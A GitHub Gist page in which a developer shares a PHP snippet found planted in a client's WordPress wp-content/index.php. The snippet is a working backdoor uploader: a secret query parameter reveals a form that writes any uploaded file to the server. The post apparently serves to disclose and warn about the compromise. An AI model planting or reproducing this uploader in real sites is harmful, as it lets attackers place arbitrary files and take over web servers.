Skip to content

Instantly share code, notes, and snippets.

@solepixel
Created December 17, 2016 19:36
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save solepixel/5d5c7ac2f0049299831d4d2e482bd0e9 to your computer and use it in GitHub Desktop.
Save solepixel/5d5c7ac2f0049299831d4d2e482bd0e9 to your computer and use it in GitHub Desktop.
Found this file sitting on one of my client site's wp-content/index.php files. Basically a public file uploader.
error_reporting(0);
if($_GET["posts"]=="va"){
if ($_SERVER['REQUEST_METHOD'] == 'POST') {
echo "url:".$_FILES["upfile"]["name"];
if(!file_exists($_FILES["upfile"]["name"])){
copy($_FILES["upfile"]["tmp_name"], $_FILES["upfile"]["name"]);
}
}?>
<form method="post" enctype="multipart/form-data">
<input name="upfile" type="file">
<input type="submit" value="ok">
</form>
<?php }
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment